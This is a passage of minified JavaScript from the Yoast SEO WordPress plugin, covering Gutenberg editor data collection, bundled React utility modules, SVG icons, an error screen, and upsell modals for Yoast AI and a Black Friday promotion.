this._coreEditorSelect||(this._coreEditorSelect=(0,a.select)("core/editor")),this._coreEditorSelect.getEditedPostAttribute(e)}getSlug(){if("auto-draft"===this.getPostAttribute("status"))return"";let e=this.getPostAttribute("generated_slug")||"";"auto-draft"===e&&(e="");const t=this.getPostAttribute("slug")||e;try{return decodeURI(t)}catch(e){return t}}getPostBaseUrl(){const e=(0,a.select)("core/editor").getPermalinkParts();if(null===e||null==e||!e.prefix)return window.wpseoScriptData.metabox.base_url;let t=e.prefix;if((0,a.select)("core/editor").isEditedPostNew())try{const e=new URL(t);t=e.origin+e.pathname}catch(e){}return t.endsWith("/")||(t+="/"),t}collectGutenbergData(){let e=(0,a.select)("core/editor").getEditedPostContent();const t=(0,a.select)("core/block-editor").getBlocks();1===t.length&&"core/freeform"===t[0].name&&(e=(0,n.getBlockContent)(t[0]));const s=this.calculateContentImage(e),r=this.getPostAttribute("excerpt")||"";return{content:e,title:this.getPostAttribute("title")||"",slug:this.getSlug(),excerpt:r||Qs(e,"ja"===mc()?80:156),excerpt_only:r,snippetPreviewImageURL:this.getFeaturedImage()||s,contentImage:s,baseUrl:this.getPostBaseUrl()}}getFeaturedImage(){const e=this.getPostAttribute("featured_media");if(e){const t=this.getMediaById(e);if(t)return t.source_url}return null}calculateContentImage(e){const t=xe.languageProcessing.imageInText(e);if(0===t.length)return"";const s=xc.parseHTML(t.join(""));for(const e of s)if(e.src)return e.src;return""}handleEditorChange(e){this._data.content!==e.content&&this._store.dispatch(bc(e.content)),this._data.title!==e.title&&(this._store.dispatch(Ec(e.title)),this._store.dispatch(hc("title",e.title))),this._data.excerpt!==e.excerpt&&(this._store.dispatch(vc(e.excerpt)),this._store.dispatch(hc("excerpt",e.excerpt)),this._store.dispatch(hc("excerpt_only",e.excerpt_only))),this._data.slug!==e.slug&&(this._store.dispatch(_c(e.slug)),this._store.dispatch(gc({slug:e.slug}))),this._data.snippetPreviewImageURL!==e.snippetPreviewImageURL&&(this._store.dispatch(kc(e.snippetPreviewImageURL)),this._store.dispatch(gc({snippetPreviewImageURL:e.snippetPreviewImageURL}))),this._data.contentImage!==e.contentImage&&this._store.dispatch(fc(e.contentImage)),this._data.baseUrl!==e.baseUrl&&this._store.dispatch(wc({baseUrl:e.baseUrl}))}reapplyMarkers(){const{getActiveMarker:e,getMarkerPauseStatus:t}=(0,a.select)("yoast-seo/editor"),s=e(),r=t();s&&!r&&ac()}refreshYoastSEO(){const e=this.collectGutenbergData();!this.isShallowEqual(this._data,e)&&(this.handleEditorChange(e),this._data=e,this._refresh())}areNewAnalysisResultsAvailable(){const e=(0,a.select)("yoast-seo/editor"),t=e.getReadabilityResults(),s=e.getResultsForFocusKeyword();return(this._previousReadabilityResults!==t||this._previousSeoResults!==s)&&(this._previousReadabilityResults=t,this._previousSeoResults=s,!0)}onNewAnalysisResultsAvailable(){this.reapplyMarkers()}subscribeToGutenberg(){this.subscriber=(0,m.debounce)(this.refreshYoastSEO,500),(0,a.subscribe)(this.subscriber)}subscribeToYoastSEO(){this.yoastSubscriber=()=>{this.areNewAnalysisResultsAvailable()&&this.onNewAnalysisResultsAvailable()},(0,a.subscribe)(this.yoastSubscriber)}getData(){return this._data}}})()})();wordpress-seo/js/dist/classic-editor.js000064400000540603147510273070014220 0ustar00(()=>{var e={6746:(e,t,s)=>{"use strict";var r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},n=i(s(9196)),o=i(s(9156)),a=i(s(6743));function i(e){return e&&e.__esModule?e:{default:e}}var l=void 0;function c(e,t){var s,a,i,d,u,p,m,h,g=[],y={};for(p=0;p<e.length;p++)if("string"!==(u=e[p]).type){if(!t.hasOwnProperty(u.value)||void 0===t[u.value])throw new Error("Invalid interpolation, missing component node: `"+u.value+"`");if("object"!==r(t[u.value]))throw new Error("Invalid interpolation, component node must be a ReactElement or null: `"+u.value+"`","\n> "+l);if("componentClose"===u.type)throw new Error("Missing opening component token: `"+u.value+"`");if("componentOpen"===u.type){s=t[u.value],i=p;break}g.push(t[u.value])}else g.push(u.value);return s&&(d=function(e,t){var s,r,n=t[e],o=0;for(r=e+1;r<t.length;r++)if((s=t[r]).value===n.value){if("componentOpen"===s.type){o++;continue}if("componentClose"===s.type){if(0===o)return r;o--}}throw new Error("Missing closing component token `"+n.value+"`")}(i,e),m=c(e.slice(i+1,d),t),a=n.default.cloneElement(s,{},m),g.push(a),d<e.length-1&&(h=c(e.slice(d+1),t),g=g.concat(h))),1===g.length?g[0]:(g.forEach((function(e,t){e&&(y["interpolation-child-"+t]=e)})),(0,o.default)(y))}t.Z=function(e){var t=e.mixedString,s=e.components,n=e.throwErrors;if(l=t,!s)return t;if("object"!==(void 0===s?"undefined":r(s))){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because components is not an object");return t}var o=(0,a.default)(t);try{return c(o,s)}catch(e){if(n)throw new Error("Interpolation Error: unable to process `"+t+"` because of error `"+e.message+"`");return t}}},6743:e=>{"use strict";function t(e){return e.match(/^\{\{\//)?{type:"componentClose",value:e.replace(/\W/g,"")}:e.match(/\/\}\}$/)?{type:"componentSelfClosing",value:e.replace(/\W/g,"")}:e.match(/^\{\{/)?{type:"componentOpen",value:e.replace(/\W/g,"")}:{type:"string",value:e}}e.exports=function(e){return e.split(/(\{\{\/?\s*\w+\s*\/?\}\})/g).map(t)}},9156:(e,t,s)=>{"use strict";var r=s(9196),n="function"==typeof Symbol&&Symbol.for&&Symbol.for("react.element")||60103,o=s(7942),a=s(9179),i=s(397),l=".",c=":",d="function"==typeof Symbol&&Symbol.iterator,u="@@iterator";function p(e,t){return e&&"object"==typeof e&&null!=e.key?(s=e.key,r={"=":"=0",":":"=2"},"$"+(""+s).replace(/[=:]/g,(function(e){return r[e]}))):t.toString(36);var s,r}function m(e,t,s,r){var o,i=typeof e;if("undefined"!==i&&"boolean"!==i||(e=null),null===e||"string"===i||"number"===i||"object"===i&&e.$$typeof===n)return s(r,e,""===t?l+p(e,0):t),1;var h=0,g=""===t?l:t+c;if(Array.isArray(e))for(var y=0;y<e.length;y++)h+=m(o=e[y],g+p(o,y),s,r);else{var f=function(e){var t=e&&(d&&e[d]||e[u]);if("function"==typeof t)return t}(e);if(f)for(var w,b=f.call(e),E=0;!(w=b.next()).done;)h+=m(o=w.value,g+p(o,E++),s,r);else if("object"===i){var v=""+e;a(!1,"Objects are not valid as a React child (found: %s).%s","[object Object]"===v?"object with keys {"+Object.keys(e).join(", ")+"}":v,"")}}return h}var h=/\/+/g;function g(e){return(""+e).replace(h,"$&/")}var y,f,w=b,b=function(e){var t=this;if(t.instancePool.length){var s=t.instancePool.pop();return t.call(s,e),s}return new t(e)};function E(e,t,s,r){this.result=e,this.keyPrefix=t,this.func=s,this.context=r,this.count=0}function v(e,t,s){var n,a,i=e.result,l=e.keyPrefix,c=e.func,d=e.context,u=c.call(d,t,e.count++);Array.isArray(u)?k(u,i,s,o.thatReturnsArgument):null!=u&&(r.isValidElement(u)&&(n=u,a=l+(!u.key||t&&t.key===u.key?"":g(u.key)+"/")+s,u=r.cloneElement(n,{key:a},void 0!==n.props?n.props.children:void 0)),i.push(u))}function k(e,t,s,r,n){var o="";null!=s&&(o=g(s)+"/");var a=E.getPooled(t,o,r,n);!function(e,t,s){null==e||m(e,"",t,s)}(e,v,a),E.release(a)}E.prototype.destructor=function(){this.result=null,this.keyPrefix=null,this.func=null,this.context=null,this.count=0},y=function(e,t,s,r){var n=this;if(n.instancePool.length){var o=n.instancePool.pop();return n.call(o,e,t,s,r),o}return new n(e,t,s,r)},(f=E).instancePool=[],f.getPooled=y||w,f.poolSize||(f.poolSize=10),f.release=function(e){var t=this;a(e instanceof t,"Trying to release an instance into a pool of a different type."),e.destructor(),t.instancePool.length<t.poolSize&&t.instancePool.push(e)},e.exports=function(e){if("object"!=typeof e||!e||Array.isArray(e))return i(!1,"React.addons.createFragment only accepts a single object. Got: %s",e),e;if(r.isValidElement(e))return i(!1,"React.addons.createFragment does not accept a ReactElement without a wrapper object."),e;a(1!==e.nodeType,"React.addons.createFragment(...): Encountered an invalid child; DOM elements are not valid children of React components.");var t=[];for(var s in e)k(e[s],t,s,o.thatReturnsArgument);return t}},7942:e=>{"use strict";function t(e){return function(){return e}}var s=function(){};s.thatReturns=t,s.thatReturnsFalse=t(!1),s.thatReturnsTrue=t(!0),s.thatReturnsNull=t(null),s.thatReturnsThis=function(){return this},s.thatReturnsArgument=function(e){return e},e.exports=s},9179:e=>{"use strict";e.exports=function(e,t,s,r,n,o,a,i){if(!e){var l;if(void 0===t)l=new Error("Minified exception occurred; use the non-minified dev environment for the full error message and additional helpful warnings.");else{var c=[s,r,n,o,a,i],d=0;(l=new Error(t.replace(/%s/g,(function(){return c[d++]})))).name="Invariant Violation"}throw l.framesToPop=1,l}}},397:(e,t,s)=>{"use strict";var r=s(7942);e.exports=r},4530:(e,t)=>{var s;!function(){"use strict";var r={}.hasOwnProperty;function n(){for(var e=[],t=0;t<arguments.length;t++){var s=arguments[t];if(s){var o=typeof s;if("string"===o||"number"===o)e.push(s);else if(Array.isArray(s)){if(s.length){var a=n.apply(null,s);a&&e.push(a)}}else if("object"===o){if(s.toString!==Object.prototype.toString&&!s.toString.toString().includes("[native code]")){e.push(s.toString());continue}for(var i in s)r.call(s,i)&&s[i]&&e.push(i)}}}return e.join(" ")}e.exports?(n.default=n,e.exports=n):void 0===(s=function(){return n}.apply(t,[]))||(e.exports=s)}()},9196:e=>{"use strict";e.exports=window.React}},t={};function s(r){var n=t[r];if(void 0!==n)return n.exports;var o=t[r]={exports:{}};return e[r](o,o.exports,s),o.exports}s.n=e=>{var t=e&&e.__esModule?()=>e.default:()=>e;return s.d(t,{a:t}),t},s.d=(e,t)=>{for(var r in t)s.o(t,r)&&!s.o(e,r)&&Object.defineProperty(e,r,{enumerable:!0,get:t[r]})},s.o=(e,t)=>Object.prototype.hasOwnProperty.call(e,t),(()=>{"use strict";var e=s(9196),t=s.n(e);const r=window.wp.element,n=window.wp.components,o=window.yoast.propTypes;var a=s.n(o);const i=window.lodash,l=window.yoast.styledComponents;var c=s.n(l);const d=window.yoast.externals.contexts,u=({theme:t,location:s,children:r})=>(0,e.createElement)(d.LocationProvider,{value:s},(0,e.createElement)(l.ThemeProvider,{theme:t},r));u.propTypes={theme:a().object.isRequired,location:a().oneOf(["sidebar","metabox","modal"]).isRequired,children:a().element.isRequired};const p=u,m=window.yoast.uiLibrary,h=window.wp.data;const g=window.wp.i18n;a().string.isRequired;const y=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 11V7a4 4 0 118 0m-4 8v2m-6 4h12a2 2 0 002-2v-6a2 2 0 00-2-2H6a2 2 0 00-2 2v6a2 2 0 002 2z"}))})),f=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",viewBox:"0 0 20 20",fill:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{fillRule:"evenodd",d:"M12.293 5.293a1 1 0 011.414 0l4 4a1 1 0 010 1.414l-4 4a1 1 0 01-1.414-1.414L14.586 11H3a1 1 0 110-2h11.586l-2.293-2.293a1 1 0 010-1.414z",clipRule:"evenodd"}))})),w=({learnMoreLink:t,thumbnail:s,wistiaEmbedPermission:n,upsellLink:o,isProductCopy:a,title:i,upsellLabel:l,newToText:c,bundleNote:d})=>{const{onClose:u,initialFocus:p}=(0,m.useModalContext)(),h={a:(0,e.createElement)(M,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,e.createElement)(f,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"})};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,e.createElement)("div",{className:"yst-relative yst-w-full"},(0,e.createElement)(de,{videoId:"vmrahpfjxp",thumbnail:s,wistiaEmbedPermission:n}),(0,e.createElement)(m.Badge,{className:"yst-absolute yst-top-0 yst-right-2 yst-mt-2 yst-ml-2",variant:"info"},"Beta")),(0,e.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,e.createElement)("span",{className:"yst-logo-icon"}),c))),(0,e.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,e.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},i),(0,e.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},a?(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,g.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for product titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h):(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s are anchor tags; %3$s is the arrow icon. */
(0,g.__)("Let AI do some of the thinking for you and help you save time. Get high-quality suggestions for titles and meta descriptions to make your content rank high and look good on social media. %1$sLearn more%2$s%3$s","wordpress-seo"),"<a>","<ArrowNarrowRightIcon />","</a>"),h))),(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-mt-10"},(0,e.createElement)(m.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:o,target:"_blank",ref:p},(0,e.createElement)(y,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),l,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,g.__)("(Opens in a new browser tab)","wordpress-seo")))),d,(0,e.createElement)(m.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:u},(0,g.__)("Close","wordpress-seo"))))};w.propTypes={learnMoreLink:a().string.isRequired,upsellLink:a().string.isRequired,thumbnail:a().shape({src:a().string.isRequired,width:a().string,height:a().string}).isRequired,wistiaEmbedPermission:a().shape({value:a().bool.isRequired,status:a().string.isRequired,set:a().func.isRequired}).isRequired,title:a().string,upsellLabel:a().string,newToText:a().string,isProductCopy:a().bool,bundleNote:a().oneOfType([a().string,a().element])},w.defaultProps={title:(0,g.__)("Use AI to write your titles & meta descriptions!","wordpress-seo"),upsellLabel:(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium"),newToText:"Yoast SEO Premium",isProductCopy:!1,bundleNote:""};const b=({learnMoreLink:t,thumbnail:s,wistiaEmbedPermission:n,upsellLink:o,upsellLabel:a})=>{const{onClose:i,initialFocus:l}=(0,m.useModalContext)(),c={a:(0,e.createElement)(M,{href:t,className:"yst-inline-flex yst-items-center yst-gap-1 yst-no-underline yst-font-medium",variant:"primary"}),ArrowNarrowRightIcon:(0,e.createElement)(f,{className:"yst-w-4 yst-h-4 rtl:yst-rotate-180"}),br:(0,e.createElement)("br",null)};return(0,e.createElement)(e.Fragment,null,(0,e.createElement)("div",{className:"yst-px-10 yst-pt-10 yst-introduction-gradient yst-text-center"},(0,e.createElement)("div",{className:"yst-relative yst-w-full"},(0,e.createElement)(de,{videoId:"vun9z1dpfh",thumbnail:s,wistiaEmbedPermission:n}),(0,e.createElement)(m.Badge,{className:"yst-absolute yst-right-0 yst-mr-4 yst-text-center yst-justify-center",variant:"info",style:{top:"-8px"}},(0,g.__)("Beta","wordpress-seo-premium"))),(0,e.createElement)("div",{className:"yst-mt-6 yst-text-xs yst-font-medium yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("span",{className:"yst-introduction-modal-uppercase yst-flex yst-gap-2 yst-items-center"},(0,e.createElement)("span",{className:"yst-logo-icon"}),"Yoast SEO Premium"))),(0,e.createElement)("div",{className:"yst-px-10 yst-pb-4 yst-flex yst-flex-col yst-items-center"},(0,e.createElement)("div",{className:"yst-mt-4 yst-mx-1.5 yst-text-center"},(0,e.createElement)("h3",{className:"yst-text-slate-900 yst-text-lg yst-font-medium"},(0,g.sprintf)(/* translators: %s: Expands to "Yoast AI" */
(0,g.__)("Optimize your SEO content with %s","wordpress-seo"),"Yoast AI")),(0,e.createElement)("div",{className:"yst-mt-2 yst-text-slate-600 yst-text-sm"},(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s is a break tag; %2$s and %3$s are anchor tags; %4$s is the arrow icon. */
(0,g.__)("Make content editing a breeze! Optimize your SEO content with quick, actionable suggestions at the click of a button.%1$s%2$sLearn more%3$s%4$s","wordpress-seo"),"<br/>","<a>","<ArrowNarrowRightIcon />","</a>"),c))),(0,e.createElement)("div",{className:"yst-w-full yst-flex yst-mt-6"},(0,e.createElement)(m.Button,{as:"a",className:"yst-grow",size:"extra-large",variant:"upsell",href:o,target:"_blank",ref:l},(0,e.createElement)(y,{className:"yst--ml-1 yst-mr-2 yst-h-5 yst-w-5"}),a,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,g.__)("(Opens in a new browser tab)","wordpress-seo")))),(0,e.createElement)(m.Button,{as:"a",className:"yst-mt-4",variant:"tertiary",onClick:i},(0,g.__)("Close","wordpress-seo"))))};b.propTypes={learnMoreLink:a().string.isRequired,upsellLink:a().string.isRequired,thumbnail:a().shape({src:a().string.isRequired,width:a().string,height:a().string}).isRequired,wistiaEmbedPermission:a().shape({value:a().bool.isRequired,status:a().string.isRequired,set:a().func.isRequired}).isRequired,upsellLabel:a().string},b.defaultProps={upsellLabel:(0,g.sprintf)(/* translators: %1$s expands to Yoast SEO Premium. */
(0,g.__)("Unlock with %1$s","wordpress-seo"),"Yoast SEO Premium")};const E=({handleRefreshClick:t,supportLink:s})=>(0,e.createElement)("div",{className:"yst-flex yst-gap-2"},(0,e.createElement)(m.Button,{onClick:t},(0,g.__)("Refresh this page","wordpress-seo")),(0,e.createElement)(m.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,g.__)("Contact support","wordpress-seo")));E.propTypes={handleRefreshClick:a().func.isRequired,supportLink:a().string.isRequired};const v=({handleRefreshClick:t,supportLink:s})=>(0,e.createElement)("div",{className:"yst-grid yst-grid-cols-1 yst-gap-y-2"},(0,e.createElement)(m.Button,{className:"yst-order-last",onClick:t},(0,g.__)("Refresh this page","wordpress-seo")),(0,e.createElement)(m.Button,{variant:"secondary",as:"a",href:s,target:"_blank",rel:"noopener"},(0,g.__)("Contact support","wordpress-seo")));v.propTypes={handleRefreshClick:a().func.isRequired,supportLink:a().string.isRequired};const k=({error:t,children:s})=>(0,e.createElement)("div",{role:"alert",className:"yst-max-w-screen-sm yst-p-8 yst-space-y-4"},(0,e.createElement)(m.Title,null,(0,g.__)("Something went wrong. An unexpected error occurred.","wordpress-seo")),(0,e.createElement)("p",null,(0,g.__)("We're very sorry, but it seems like the following error has interrupted our application:","wordpress-seo")),(0,e.createElement)(m.Alert,{variant:"error"},(null==t?void 0:t.message)||(0,g.__)("Undefined error message.","wordpress-seo")),(0,e.createElement)("p",null,(0,g.__)("Unfortunately, this means that any unsaved changes in this section will be lost. You can try and refresh this page to resolve the problem. If this error still occurs, please get in touch with our support team, and we'll get you all the help you need!","wordpress-seo")),s);k.propTypes={error:a().object.isRequired,children:a().node},k.VerticalButtons=v,k.HorizontalButtons=E;var _;function x(){return x=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},x.apply(this,arguments)}a().string,a().node.isRequired,a().node.isRequired,a().node,a().oneOf(Object.keys({lg:{grid:"yst-grid lg:yst-grid-cols-3 lg:yst-gap-12",col1:"yst-col-span-1",col2:"lg:yst-mt-0 lg:yst-col-span-2"},xl:{grid:"yst-grid xl:yst-grid-cols-3 xl:yst-gap-12",col1:"yst-col-span-1",col2:"xl:yst-mt-0 xl:yst-col-span-2"},"2xl":{grid:"yst-grid 2xl:yst-grid-cols-3 2xl:yst-gap-12",col1:"yst-col-span-1",col2:"2xl:yst-mt-0 2xl:yst-col-span-2"}}));const T=t=>e.createElement("svg",x({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 1000 1000"},t),_||(_=e.createElement("path",{fill:"#fff",d:"M500 0C223.9 0 0 223.9 0 500s223.9 500 500 500 500-223.9 500-500S776.1 0 500 0Zm87.2 412.4c0-21.9 4.3-40.2 13.1-54.4s24-27.1 45.9-38.2l10.1-4.9c17.8-9 22.4-16.7 22.4-26 0-11.1-9.5-19.1-25-19.1-18.3 0-32.2 9.5-41.8 28.9l-24.7-24.8c5.4-11.6 14.1-20.9 25.8-28.1a70.8 70.8 0 0 1 38.9-11.1c17.8 0 33.3 4.6 45.9 14.2s19.4 22.7 19.4 39.4c0 26.6-15 42.9-43.1 57.3l-15.7 8c-16.8 8.5-25.1 16-27.4 29.4h85.4v35.4H587.2Zm-82.1 373.3c-157.8 0-285.7-127.9-285.7-285.7s127.9-285.7 285.7-285.7a286.4 286.4 0 0 1 55.9 5.5l-55.9 116.9c-90 0-163.3 73.3-163.3 163.3s73.3 163.3 163.3 163.3a162.8 162.8 0 0 0 106.4-39.6l61.8 107.2a283.9 283.9 0 0 1-168.2 54.8ZM705 704.1l-70.7-122.5H492.9l70.7-122.4H705l70.7 122.4Z"}))),R=window.ReactDOM;var S,I,C;(I=S||(S={})).Pop="POP",I.Push="PUSH",I.Replace="REPLACE",function(e){e.data="data",e.deferred="deferred",e.redirect="redirect",e.error="error"}(C||(C={})),new Set(["lazy","caseSensitive","path","id","index","children"]),Error;const L=["post","put","patch","delete"],P=(new Set(L),["get",...L]);new Set(P),new Set([301,302,303,307,308]),new Set([307,308]),Symbol("deferred"),e.Component,e.startTransition,new Promise((()=>{})),e.Component,new Set(["application/x-www-form-urlencoded","multipart/form-data","text/plain"]);try{window.__reactRouterVersion="6"}catch(e){}var q,A,F,N;new Map,e.startTransition,R.flushSync,e.useId,"undefined"!=typeof window&&void 0!==window.document&&window.document.createElement,(N=q||(q={})).UseScrollRestoration="useScrollRestoration",N.UseSubmit="useSubmit",N.UseSubmitFetcher="useSubmitFetcher",N.UseFetcher="useFetcher",N.useViewTransitionState="useViewTransitionState",(F=A||(A={})).UseFetcher="useFetcher",F.UseFetchers="useFetchers",F.UseScrollRestoration="useScrollRestoration",a().string.isRequired,a().string;const M=({href:t,children:s,...r})=>(0,e.createElement)(m.Link,{target:"_blank",rel:"noopener noreferrer",...r,href:t},s,(0,e.createElement)("span",{className:"yst-sr-only"},/* translators: Hidden accessibility text. */
(0,g.__)("(Opens in a new browser tab)","wordpress-seo")));M.propTypes={href:a().string.isRequired,children:a().node},M.defaultProps={children:null};const O=e.forwardRef((function(t,s){return e.createElement("svg",Object.assign({xmlns:"http://www.w3.org/2000/svg",fill:"none",viewBox:"0 0 24 24",strokeWidth:2,stroke:"currentColor","aria-hidden":"true",ref:s},t),e.createElement("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M17 8l4 4m0 0l-4 4m4-4H3"}))}));var D,$,B;function U(){return U=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},U.apply(this,arguments)}const W=t=>e.createElement("svg",U({xmlns:"http://www.w3.org/2000/svg",id:"star-rating-half_svg__Layer_1","data-name":"Layer 1",viewBox:"0 0 500 475.53"},t),D||(D=e.createElement("defs",null,e.createElement("style",null,".star-rating-half_svg__cls-1{fill:#fbbf24}"))),$||($=e.createElement("path",{d:"M250 392.04 98.15 471.87l29-169.09L4.3 183.03l169.77-24.67L250 4.52l75.93 153.84 169.77 24.67-122.85 119.75 29 169.09L250 392.04z",className:"star-rating-half_svg__cls-1"})),B||(B=e.createElement("path",{d:"m250 9.04 73.67 149.27.93 1.88 2.08.3 164.72 23.94-119.19 116.19-1.51 1.47.36 2.07 28.14 164.06-147.34-77.46-1.86-1-1.86 1-147.34 77.46 28.14-164.06.36-2.07-1.51-1.47L8.6 184.43l164.72-23.9 2.08-.3.93-1.88L250 9.04m0-9-77.25 156.49L0 181.64l125 121.89-29.51 172L250 394.3l154.51 81.23-29.51-172 125-121.89-172.75-25.11L250 0Z",className:"star-rating-half_svg__cls-1"})),e.createElement("path",{d:"m500 181.64-172.75-25.11L250 0v394.3l154.51 81.23L375 303.48l125-121.84z",style:{fill:"#f3f4f6"}}));function j(){return j=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},j.apply(this,arguments)}const K=t=>e.createElement("svg",j({xmlns:"http://www.w3.org/2000/svg","data-name":"Layer 1",viewBox:"0 0 500 475.53"},t),e.createElement("path",{d:"m250 0 77.25 156.53L500 181.64 375 303.48l29.51 172.05L250 394.3 95.49 475.53 125 303.48 0 181.64l172.75-25.11L250 0z",style:{fill:"#fbbf24"}}));var H,Y,z,V,G,Z,X,Q,J;function ee(){return ee=Object.assign?Object.assign.bind():function(e){for(var t=1;t<arguments.length;t++){var s=arguments[t];for(var r in s)Object.prototype.hasOwnProperty.call(s,r)&&(e[r]=s[r])}return e},ee.apply(this,arguments)}const te=t=>e.createElement("svg",ee({xmlns:"http://www.w3.org/2000/svg","aria-hidden":"true",viewBox:"0 0 500 500"},t),H||(H=e.createElement("path",{fill:"#a4286a",d:"M80 0h340a80 80 0 0 1 80 80v420H80a80 80 0 0 1-80-80V80A80 80 0 0 1 80 0z"})),Y||(Y=e.createElement("path",{fill:"#6c2548",d:"M437.61 2 155.89 500H500V80a80 80 0 0 0-62.39-78z"})),z||(z=e.createElement("path",{fill:"#fff",d:"M74.4 337.3v34.9c21.6-.9 38.5-8 52.8-22.5s27.4-38 39.9-72.9l92.6-248h-44.8L140.3 236l-37-116.2h-41l54.4 139.8a57.54 57.54 0 0 1 0 41.8c-5.5 14.2-15.4 30.9-42.3 35.9z"})),V||(V=e.createElement("circle",{cx:368.33,cy:124.68,r:97.34,fill:"#9fda4f",transform:"rotate(-45 368.335 124.68)"})),G||(G=e.createElement("path",{fill:"#77b227",d:"m416.2 39.93-95.74 169.51A97.34 97.34 0 1 0 416.2 39.93z"})),Z||(Z=e.createElement("path",{fill:"#fec228",d:"m294.78 254.75-.15-.08-.13-.07a63.6 63.6 0 0 0-62.56 110.76h.13a63.6 63.6 0 0 0 62.71-110.67z"})),X||(X=e.createElement("path",{fill:"#f49a00",d:"m294.5 254.59-62.56 110.76a63.6 63.6 0 1 0 62.56-110.76z"})),Q||(Q=e.createElement("path",{fill:"#ff4e47",d:"M222.31 450.07A38.16 38.16 0 0 0 203 416.83a38.18 38.18 0 1 0 19.41 33.27z"})),J||(J=e.createElement("path",{fill:"#ed261f",d:"m202.9 416.8-37.54 66.48a38.17 38.17 0 0 0 37.54-66.48z"}))),se=({link:t,linkProps:s,isPromotionActive:n})=>{let o=(0,r.useMemo)((()=>(0,g.__)("Use AI to generate titles and meta descriptions, automatically redirect deleted pages, get 24/7 support, and much, much more!","wordpress-seo")),[]),a=(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,g.__)("%1$sGet%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,e.createElement)("span",{className:"yst-whitespace-nowrap"})});const i=n("black-friday-2024-promotion");return i&&(o=(0,r.useMemo)((()=>(0,g.__)("If you were thinking about upgrading, now's the time! 30% OFF ends 3rd Dec 11am (CET)","wordpress-seo")),[]),a=(0,r.createInterpolateElement)((0,g.sprintf)(/* translators: %1$s and %2$s expand to a span wrap to avoid linebreaks. %3$s expands to "Yoast SEO Premium". */
(0,g.__)("%1$sBuy%2$s %3$s","wordpress-seo"),"<nowrap>","</nowrap>","Yoast SEO Premium"),{nowrap:(0,e.createElement)("span",{className:"yst-whitespace-nowrap"})})),(0,e.createElement)("div",{className:"yst-p-6 yst-rounded-lg yst-text-white yst-bg-primary-500 yst-shadow"},(0,e.createElement)("figure",{className:"yst-logo-square yst-w-16 yst-h-16 yst-mx-auto yst-overflow-hidden yst-border yst-border-white yst-rounded-xl yst-rounded-br-none yst-relative yst-z-10 yst-mt-[-2.6rem]"},(0,e.createElement)(te,null)),i&&(0,e.createElement)("div",{className:"sidebar__sale_banner_container"},(0,e.createElement)("div",{className:"sidebar__sale_banner"},(0,e.createElement)("span",{className:"banner_text"},(0,g.__)("30% OFF - BLACK FRIDAY","wordpress-seo")))),(0,e.createElement)(m.Title,{as:"h2",className:"yst-mt-6 yst-text-base yst-font-extrabold yst-text-white"},a),(0,e.createElement)("p",{className:"yst-mt-2"},o),(0,e.createElement)(m.Button,{as:"a",variant:"upsell",href:t,target:"_blank",rel:"noopener",className:"yst-flex yst-justify-center yst-gap-2 yst-mt-4 focus:yst-ring-offset-primary-500",...s},(0,e.createElement)("span",null,i?(0,g.__)("Buy now","wordpress-seo"):a),(0,e.createElement)(O,{className:"yst-w-4 yst-h-4 